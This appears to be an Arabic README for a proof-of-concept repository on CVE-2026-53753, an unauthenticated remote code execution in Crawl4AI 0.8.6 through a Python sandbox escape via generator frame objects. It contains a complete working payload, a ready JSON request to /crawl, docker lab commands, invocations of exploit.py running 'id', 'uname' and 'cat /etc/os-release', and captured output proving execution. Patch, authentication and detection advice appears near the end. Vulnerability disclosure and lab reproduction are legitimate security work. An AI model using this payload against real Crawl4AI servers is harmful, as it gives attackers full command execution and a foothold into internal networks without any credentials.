
CVE-2026-53753 — Crawl4AI <0.8.7 ثغرة RCE غير مصادق عليها (هروب من صندوق رمل AST عبر gi_frame.f_back). مختبر + PoC، تم التحقق منه e2e.
هجوم RCE قبل المصادقة في Crawl4AI
< 0.8.7. مخططJsonCssExtractionStrategyمموّه يُرسَل إلى نقطة النهاية غير المصادقةPOST /crawlيصل إلى مقيم الحقول المحسوبة (_safe_eval_expression)، يهرب من قائمة AST المسموحة عبر كائنات إطار Python، يصل إلىbuiltinsالحقيقية، ويشغّل__import__('os').popen(<cmd>).read()— ويعيد إخراج الأمر ضمن الاستجابة JSON.
| CVE | CVE-2026-53753 |
| الإبلاغ | GHSA-qxjp-w3pj-48m7 |
| المتأثر | Crawl4AI <= 0.8.6 |
| المُصحَّح | 0.8.7 |
| التصنيف | CWE-94 (حقن تعليمات) / هروب صندوق حماية Python |
| CVSS 3.1 | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| المصادقة | لا شيء — التهيئة المرفقة بها jwt_enabled: false |
| الحالة | مؤكَّد — تم إعادة إنتاج الهجوم بالكامل ضد الصورة الرسمية unclecode/crawl4ai:0.8.6 |
builtins الحقيقيةتعمق: راجع
ANALYSIS.mdلشرح عقدة بعقدة لـ AST، ومكدس الإطارات وقت التشغيل، وتدفق بيانات الطلب، وفرق التصحيح.
في crawl4ai/extraction_strategy.py يُسمح لمخطط الاستخراج بتعريف حقول محسوبة — تعبيرات Python صغيرة تُقيّم لكل عنصر مستخرج. تُشغّل بواسطة _safe_eval_expression()، التي تحاول عزل التعبير داخل صندوق حماية باستخدام قائمة AST مسموحة ومجموعة __builtins__ مجرّدة:
# crawl4ai/extraction_strategy.py (v0.8.6)
for node in ast.walk(tree):
if isinstance(node, (ast.Import, ast.ImportFrom)):
raise ValueError("Import statements are not allowed in expressions")
# Block dunder attribute access, e.g. __class__, __globals__
if isinstance(node, ast.Attribute) and node.attr.startswith("_"):
raise ValueError(f"Access to private/dunder attribute '{node.attr}' is not allowed")
if isinstance(node, ast.Call):
func = node.func
if isinstance(func, ast.Name) and func.id.startswith("_"):
raise ValueError(...)
if isinstance(func, ast.Attribute) and func.attr.startswith("_"):
raise ValueError(...)
safe_globals = {"__builtins__": _SAFE_EVAL_BUILTINS} # no __import__, no eval, no open
return eval(compile(tree, "<expression>", "eval"), safe_globals, local_vars)
المُتحقِّق هو منع بالبادئة: يرفض فقط الأسماء التي تبدأ بـ _ (بالإضافة إلى import). هذه القاعدة الواحدة هي كل الصندوق الآمن — ولديها ثلاثة ثغرات تتحد لتشكّل هروباً كاملاً:
يصل المخطط إلى هذه الدالة بدون مصادقة: شحنة Docker API تحتوي على security.jwt_enabled: false، لذا فإن اعتماد رمز /crawl هو lambda: None.
تعبير الحقل المحسوب هو:
(lambda: (
(g := (g.gi_frame.f_back.f_back.f_back.f_builtins['__import__'](https://github.com/biitts/cve-2026-53753-crawl4ai-rce/blob/HEAD/%27os%27).popen('id').read()
for i in [1])),
list(g)
)[-1])()
قراءة كل جزء:
بما أن قيمة المولد هي os.popen(cmd).read()، فإن مخرجات الأمر القياسية تصبح قيمة الحقل وتُعكس في استجابة /crawl — مؤشر ضمن الاستجابة، لا حاجة لـ OAST.
builtins الحقيقيةبينما يكرار list(g) على المولد، تبدو مكدس الاستدعاء كالتالي:
frame: _safe_eval_expression() <-- builtins الحقيقية (__import__ موجود هنا) ← f_back ×3
└ frame: <expression> (eval) <-- builtins محصورة (_SAFE_EVAL_BUILTINS) ← f_back ×2
└ frame: <lambda> <-- محصورة ← f_back ×1
└ frame: <genexpr> g <-- قيد التشغيل؛ g.gi_frame هو هذا الإطار ← gi_frame
g.gi_frame.f_back يُملأ فقط أثناء تشغيل المولد (لهذا السبب يجب أن يشير المولد إلى نفسه ويُشغّل بواسطة list(g) — فالمولد الذي لم يبدأ تشغيله لديه f_back is None). الصعود ثلاث مرات عبر f_back يصل إلى إطار _safe_eval_expression، الذي يحتوي f_builtins على وحدة builtins الكاملة — والتي يُسحب منها __import__ بالاشتراك.
عمق الإطار ثابت لهذا المسار البرمجي:
f_back × 3صحيح لـ Crawl4AI 0.8.6 في_safe_eval_expression.
الصورة الرسمية تحتوي على الإعداد الافتراضي الضعيف (بدون مصادقة):
# الخيار أ — docker compose (مضيف Docker عادي مع شبكة bridge)
docker compose -f lab/docker-compose.yml up -d
# الخيار ب — docker run عادي
docker run -d --name crawl4ai-vuln -p 11235:11235 --shm-size=1g unclecode/crawl4ai:0.8.6
انتظر ~20 ثانية حتى يسخن تجمع المتصفح (docker logs crawl4ai-vuln → Application startup complete).
# فحص جسم الطلب دون إرساله:
python3 exploit.py http://127.0.0.1:11235 -c "id" --print-payload
# تنفيذه (مخرجات الأمر تعود في الاستجابة):
python3 exploit.py http://127.0.0.1:11235 -c "id; uname -a; cat /etc/os-release | head -1"
exploit.py يستخدم فقط مكتبة Python القياسية — لا تبعيات.
[*] POST http://127.0.0.1:11235/crawl (cmd: 'id; uname -a; ...', no auth)
[*] HTTP 200
{"success":true,"results":[{ ... "extracted_content":"[
{
\"out\": [
\"uid=999(appuser) gid=999(appuser) groups=999(appuser)
appuser
Linux ... x86_64 GNU/Linux
PRETTY_NAME=\"Debian GNU/Linux 12 (bookworm)\"
\"
]
}
]" ...
حقل out هو حالة نظام التشغيل الحية (إخراج id، uname، ملف os-release الخاص بالحاوية)، وليس صدى للطلب — uid=999(appuser) هو حساب الخدمة داخل الحاوية، مما يثبت تنفيذ التعليمات داخل مضيف Crawl4AI. يُعكس echo <marker> فريد حرفياً، مؤكداً أن الأمر نُفذ فعلاً.
POST /crawl HTTP/1.1
Host: 127.0.0.1:11235
Content-Type: application/json
{"urls":["raw://<html><body><div id='x'>hi</div></body></html>"],
"crawler_config":{"type":"CrawlerRunConfig","params":{"extraction_strategy":
{"type":"JsonCssExtractionStrategy","params":{"schema":{"name":"pwn","baseSelector":"div",
"fields":[{"name":"out","type":"computed","expression":"<PAYLOAD FROM §2>"}]}}}}}}
raw://… يجعل الطلب مكتفياً ذاتياً — لا حاجة لجلب خارجي؛ المهاجم يقدم HTML مباشرة.baseSelector: "div" يحتاج فقط إلى مطابقة عنصر حتى يُقيّم حقل محسوب. مقابل هدف زحف حقيقي، استخدم أي محدد يطابق الصفحة.أي عميل يمكنه الوصول إلى الشبكة ينفذ أوامر نظام تشغيل عشوائية على مضيف Crawl4AI بدون أي مصادقة في النشر الافتراضي — اختراق كامل للخادم والانتقال إلى أي موارد داخلية يمكنه الوصول إليها.
_safe_eval_expression؛ مفتاح الحقل المحسوب expression معطّل — استخدم المفتاح function مع دالة Python موثوقة بدلاً من ذلك).jwt_enabled: true + api_token) ولا تعرّض API Crawl4AI لشبكات غير موثوقة أبداً.راقب أجسام طلبات POST /crawl (و /crawl/stream) التي تحتوي على gi_frame أو f_back أو f_builtins أو أي حقل computed يحمل مفتاح expression.
| # | الثغرة | لماذا تهم |
|---|
| 1 | gi_frame, f_back, f_builtins لا تبدأ بـ _ | يمكن الوصول إلى كامل سطح تفقد الإطارات/المولدات في Python. |
| 2 | obj['__import__'] هو ast.Subscript، ليس ast.Attribute | لا يفحص المُتحقِّق مفاتيح الاشتراك في القاموس أبداً، لذا فالمفتاح __import__ يمر. |
| 3 | سلسلة f_back لمولد قيد التشغيل تؤدي إلى إطار خارجي يحتوي f_builtins على builtins الحقيقية | يهرب من _SAFE_EVAL_BUILTINS المجرّدة عائداً إلى الكاملة (__import__، إلخ). |
| الجزء | الدور | لماذا يسمح به المُتحقِّق |
|---|
(lambda: ... )() | ينشئ نطاق دالة بحيث يعيش الاسم المرتبط بـ := في خلية إغلاق. | ast.Lambda لا يُفحص. |
g := ( <expr> for i in [1]) | يربط المولد بـ g وجسم المولد يشير إلى g (نفسه). | := وتعبيرات المولد لا تُفحص. (العامل := غير قانوني في مجال التكرار للتعبير المولّد، لذا يوضع في عنصر tuple بدلاً من ذلك.) |
list(g) | يُشغّل المولد — لذا يكون إطاره نشطاً عندما يُنفَّذ الجسم. | list ضمن builtins الآمنة. |
g.gi_frame | كائن الإطار الخاص بالمولد. | gi_frame لا يبدأ بـ _. |
.f_back.f_back.f_back | يصعد ثلاثة إطارات ليصل إلى إطار يحتوي على builtins الحقيقية. | f_back لا يبدأ بـ _. |
.f_builtins | خريطة builtins لذلك الإطار (الحقيقية). | f_builtins لا يبدأ بـ _. |
['__import__'] | يجلب __import__ من قاموس builtins. | اشتراك في قاموس — لا يُفحص أبداً. |
('os') | __import__('os') → وحدة os. | هدف الاستدعاء هو Subscript، وليس Name/Attribute. |
.popen('id').read() | يشغّل الأمر ويعيد مخرجاته القياسية. | popen/read لا يبدآن بـ _. |
| العَرَض | السبب / الإصلاح |
|---|
Connection refused على :11235 | الحاوية لا تزال تسخن، أو برنامج Docker الخفي لا يملك شبكة bridge صالحة. انتظر Application startup complete؛ إذا لم يعمل ربط المنفذ، شغّل الحاوية مع --network host. |
out هو null | المحدد الأساسي لم يطابق أي عنصر — تأكد من أن HTML في raw:// يحتوي على <div> (أو اضبط baseSelector). |
| يعمل على 0.8.6 وليس 0.8.7 | متوقع — 0.8.7 يزيل _safe_eval_expression ويعطّل مفتاح expression بالكامل (الإصلاح). |